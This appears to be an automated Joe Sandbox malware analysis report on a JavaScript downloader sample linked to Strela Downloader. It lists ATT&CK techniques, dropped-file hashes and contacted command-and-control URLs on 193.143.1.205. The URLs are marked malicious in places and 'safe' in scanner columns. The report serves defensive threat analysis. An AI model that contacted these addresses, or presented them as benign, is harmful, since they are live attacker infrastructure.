Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
145332287313130856.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/OGONSE	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/G	0%	Avira URL Cloud	safe
http://193.143.1.205/invoice.php	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3343051195.000001A76FA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2104305601.000001A76F870000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/OGONSE	net.exe, 00000007.00000002.2105262327.00000283916A7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/G	net.exe, 00000007.00000002.2105450659.00000283916DA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2104123937.00000283916DA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2105262327.00000283916A7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2105450659.00000283916DA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2102143657.00000283916FA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2104123937.00000283916DA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587523
Start date and time:	2025-01-10 14:24:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	145332287313130856.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 3.219.243.226, 52.22.41.97, 3.233.129.217, 52.6.155.20, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 2.16.168.105, 2.16.168.107, 20.12.23.50, 13.107.246.45, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:25:02	API Interceptor	24x Sleep call for process: powershell.exe modified
08:25:06	API Interceptor	1x Sleep call for process: net.exe modified
08:25:07	API Interceptor	2x Sleep call for process: svchost.exe modified
08:25:19	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
193.143.1.205	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	new.bat	Get hash	malicious	Unknown	Browse	193.143.1.95
	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	177183177683425839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	177183177683425839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	264531187863018088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	264531187863018088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	2439793531535825300.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307143798287505
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugX:gJjJGtpTq2yv1AuNZRY3diu8iBVqF5
MD5:	F4AD34632A891DE1E454327D91466D95
SHA1:	D4820161AC427D6F0CDBD231DAAD310A3749C6D1
SHA-256:	C59EC97363A9A83BD1D5493DB39EEED776967033FD3CB7E24B64034DA69A3E3C
SHA-512:	0A2445D06ECBD32DC1A7D2DE515C4F34FCA6FD19098B348ABEF518EC69A3E705F1735B8FB94DCA20FEA7346F5DCE36FCBF759719B12CDAD349F12794266C84EF
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x26fe923e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.658565422276911
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	647B527F6CA6D882889B044625E2C54A
SHA1:	9B06AA3F7F799C9064642BB0E9458F33216902AB
SHA-256:	036CF430356B1017EAD11E260AAFB552194A7564DCC992FCA4FC76F3CCE170FD
SHA-512:	8A706B7AFE938EC8BBFC3B6ED65AA3E57BC7BA981A62C6FF21F0E7364E5C9A5E209111090510ED2D3A767026D37E18F856B7F2365D2B6287C6B7DCD260305F2C
Malicious:	false
Preview:	&..>... ...............X\...;...{......................0.z..........{.......}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{.................................. .#......}.....................L.....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08069385573086038
Encrypted:	false
SSDEEP:	3:7W/EYeVqPAkGuAJkhvekl19iqtillrekGltll/SPj:7W8zVqzrxl6qtGJe3l
MD5:	13825FBFAA0CEF246A2352003FB3C1CD
SHA1:	E1FE771D28BB9025BC258EF72CB20924F208EF4A
SHA-256:	F6BEAFDE029326C5783F497A750914E4E46B8E17184F44E8234F80411387C603
SHA-512:	5BCBEAD013FE30E6B346569A2ABEEFC9D8EAE4F6EAA18BC3F8B0543F560FEB521F710A783B0DB5486080FC2D4673FB191E1F16BBE2E6D99036A201D49A14E878
Malicious:	false
Preview:	)........................................;...{.......}.......{...............{.......{...XL......{.....................L.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.176976528247494
Encrypted:	false
SSDEEP:	6:iO4ody3+Q+q2P92nKuAl9OmbnIFUtSody3EgZmwsody3EQVkwO92nKuAl9OmbjLJ:7vnVv4HAahFUtRZg/7ZI5LHAaSJ
MD5:	20109BF95F456290E0C414390B1BBD28
SHA1:	54D4C38721424348C3946F18B8D8ABE9935A34DD
SHA-256:	F9B7032EB2D118C3EFBB0E871D22E8FD40195B9306337E9746BCD83C6C5694A4
SHA-512:	5AE621983F1A1C18D480E792B0BF2F869FE6898C758033EA589053D48641C8F783BB67C90EADD482E3016869F545CDBF7AAD8BC19C40801D928CA8782E34863F
Malicious:	false
Preview:	2025/01/10-08:25:06.860 4f8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:25:06.862 4f8 Recovering log #3.2025/01/10-08:25:06.862 4f8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.176976528247494
Encrypted:	false
SSDEEP:	6:iO4ody3+Q+q2P92nKuAl9OmbnIFUtSody3EgZmwsody3EQVkwO92nKuAl9OmbjLJ:7vnVv4HAahFUtRZg/7ZI5LHAaSJ
MD5:	20109BF95F456290E0C414390B1BBD28
SHA1:	54D4C38721424348C3946F18B8D8ABE9935A34DD
SHA-256:	F9B7032EB2D118C3EFBB0E871D22E8FD40195B9306337E9746BCD83C6C5694A4
SHA-512:	5AE621983F1A1C18D480E792B0BF2F869FE6898C758033EA589053D48641C8F783BB67C90EADD482E3016869F545CDBF7AAD8BC19C40801D928CA8782E34863F
Malicious:	false
Preview:	2025/01/10-08:25:06.860 4f8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:25:06.862 4f8 Recovering log #3.2025/01/10-08:25:06.862 4f8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1833905441908525
Encrypted:	false
SSDEEP:	6:iO4odyyaOq2P92nKuAl9Ombzo2jMGIFUtSodyyjXZmwsodyyqzkwO92nKuAl9OmT:7vmOv4HAa8uFUtRv/7O5LHAa8RJ
MD5:	9BAF189AB5E17ACA95E4E6AC49CCD727
SHA1:	A31111BBD31868119AA0396C3114BCFE75D176FA
SHA-256:	63A9CA963AD0417A401E7F06CFDB99DCD42645C78B5B5AAF26092F79AD48A782
SHA-512:	1355593E5E6DE1182610244FD9C16EEB74C0E9F26267A059E378269DECF83DEB82D3C1AB886C74E66CFADBF16C794F6D86B6587A81A3A837A9F54F92F2934103
Malicious:	false
Preview:	2025/01/10-08:25:06.906 1c34 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:25:06.907 1c34 Recovering log #3.2025/01/10-08:25:06.908 1c34 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1833905441908525
Encrypted:	false
SSDEEP:	6:iO4odyyaOq2P92nKuAl9Ombzo2jMGIFUtSodyyjXZmwsodyyqzkwO92nKuAl9OmT:7vmOv4HAa8uFUtRv/7O5LHAa8RJ
MD5:	9BAF189AB5E17ACA95E4E6AC49CCD727
SHA1:	A31111BBD31868119AA0396C3114BCFE75D176FA
SHA-256:	63A9CA963AD0417A401E7F06CFDB99DCD42645C78B5B5AAF26092F79AD48A782
SHA-512:	1355593E5E6DE1182610244FD9C16EEB74C0E9F26267A059E378269DECF83DEB82D3C1AB886C74E66CFADBF16C794F6D86B6587A81A3A837A9F54F92F2934103
Malicious:	false
Preview:	2025/01/10-08:25:06.906 1c34 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:25:06.907 1c34 Recovering log #3.2025/01/10-08:25:06.908 1c34 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8a8d04c6-2080-42d2-996e-a02b65877c98.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.059037634930626
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2NksBdOg2HScaq3QYiubxnP7E4T3OF+:Y2sRdsndMH93QYhbxP7nbI+
MD5:	4AD7194558F389555F2BBBC74D419ABA
SHA1:	1C49AAD73D0374C6D7D2F0449049A55E2C066E14
SHA-256:	1023EE66A4AF14171FAD0839D47F3730280604CAFC899856B7AE3CD0C3C0CDEC
SHA-512:	28105347DC257F380B7A3186948BD735CE925E940AB303E09091F3AFDF886FC66A5A84C4D11D79E47AFD5B91BD151F6650D4C8ACEBA29AEE1EBB919730F9BD16
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381075519471150","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146973},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.059037634930626
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq2NksBdOg2HScaq3QYiubxnP7E4T3OF+:Y2sRdsndMH93QYhbxP7nbI+
MD5:	4AD7194558F389555F2BBBC74D419ABA
SHA1:	1C49AAD73D0374C6D7D2F0449049A55E2C066E14
SHA-256:	1023EE66A4AF14171FAD0839D47F3730280604CAFC899856B7AE3CD0C3C0CDEC
SHA-512:	28105347DC257F380B7A3186948BD735CE925E940AB303E09091F3AFDF886FC66A5A84C4D11D79E47AFD5B91BD151F6650D4C8ACEBA29AEE1EBB919730F9BD16
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381075519471150","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146973},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.231715999481034
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUyX51B2FML:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLz
MD5:	EAE0FF4A40F504ABE3864FFC820575E9
SHA1:	C8FCE7912CE9B32F2E1A7242D81D31A4348C1C0A
SHA-256:	734EDB7DDAF129A5CC9F762049432F869457618BEF23D9A150F7093837FCCBAA
SHA-512:	3EF875F28D4E9EF659ED5A16106C052CB69C4C9921CC3D5091143EF697C00D06716E68610B6A56909CA8372C866A9716233BF2CBB22105DDDB2A109D9E556D25
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.169470253071703
Encrypted:	false
SSDEEP:	6:iO4odyZq2P92nKuAl9OmbzNMxIFUtSody2ZmwsodyJkwO92nKuAl9OmbzNMFLJ:7vEv4HAa8jFUtRL/7u5LHAa84J
MD5:	4FB28CF687A5DC50B8141820CBE7F765
SHA1:	0393FD88F1BBB5A3BEE351DD9C3F305084432080
SHA-256:	FB6EE4AD6234076112F6FBD411FB2AAB6AED78C6FA07C216EC4BB1118EEBB5D2
SHA-512:	BD1A157D247C301C221FB71EACD0D4739967BDD90989AC322838F772E725052506AF42D5341D388B6D925E9FBA454AB87A1C55E981EE857906E541155E950AC0
Malicious:	false
Preview:	2025/01/10-08:25:07.180 1c34 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:25:07.216 1c34 Recovering log #3.2025/01/10-08:25:07.224 1c34 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.169470253071703
Encrypted:	false
SSDEEP:	6:iO4odyZq2P92nKuAl9OmbzNMxIFUtSody2ZmwsodyJkwO92nKuAl9OmbzNMFLJ:7vEv4HAa8jFUtRL/7u5LHAa84J
MD5:	4FB28CF687A5DC50B8141820CBE7F765
SHA1:	0393FD88F1BBB5A3BEE351DD9C3F305084432080
SHA-256:	FB6EE4AD6234076112F6FBD411FB2AAB6AED78C6FA07C216EC4BB1118EEBB5D2
SHA-512:	BD1A157D247C301C221FB71EACD0D4739967BDD90989AC322838F772E725052506AF42D5341D388B6D925E9FBA454AB87A1C55E981EE857906E541155E950AC0
Malicious:	false
Preview:	2025/01/10-08:25:07.180 1c34 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:25:07.216 1c34 Recovering log #3.2025/01/10-08:25:07.224 1c34 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7478441963225158
Encrypted:	false
SSDEEP:	3:kkFklwx/ltfllXlE/HT8kiFjNNX8RolJuRdxLlGB9lQRYwpDdt:kKpbeT85RNMa8RdWBwRd
MD5:	C287E17839DB11FE35B01918259B9722
SHA1:	0856B0AACE5A059EB4EF7BC60FB364E3AC6D162C
SHA-256:	A2C37B9F8F1FBBB791F3FFDE96FFCD0BDD7EB658621E07856BB16991928E817C
SHA-512:	8F105A47F02DD18FE6C0C44D89D3AA5D1259D157E5F52ADC550BBA6EC7FDBAC53DC6F510081697C836B1BF026BC67B74E53CE3FE9B7EE3731DFA50B2BF99EC87
Malicious:	false
Preview:	p...... ........C&N.cc..(....................................................... ..........W.....G..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
